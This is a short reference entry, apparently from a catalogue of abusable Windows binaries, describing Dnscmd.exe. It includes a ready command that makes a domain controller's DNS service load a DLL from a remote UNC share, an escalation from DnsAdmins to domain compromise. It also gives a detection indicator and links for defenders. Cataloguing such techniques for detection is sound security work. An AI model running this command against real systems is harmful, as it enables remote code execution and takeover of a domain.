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Name : Dnscmd.exe
Description : A command-line interface for managing DNS servers
Author : 'Oddvar Moe'
Created : '2018-05-25'
Commands :
- Command : dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
Description : Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
Usecase : Remotly inject dll to dns server
Category : Execute
Privileges : DNS admin
MitreID : T1035
MitreLink : https://attack.mitre.org/wiki/Technique/T1035
OperatingSystem : Windows server
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Full_Path :
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- Path : C:\Windows\System32\Dnscmd.exe
- Path : C:\Windows\SysWOW64\Dnscmd.exe
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Code_Sample :
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- Code :
Detection :
- IOC : Dnscmd.exe loading dll from UNC path
Resources :
- Link : https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
- Link : https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
- Link : https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
- Link : https://twitter.com/Hexacorn/status/994000792628719618
- Link : http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
Acknowledgement :
- Person : Shay Ber
Handle :
- Person : Dimitrios Slamaris
Handle : '@dim0x69'
- Person : Nikhil SamratAshok
Handle : '@nikhil_mitt'
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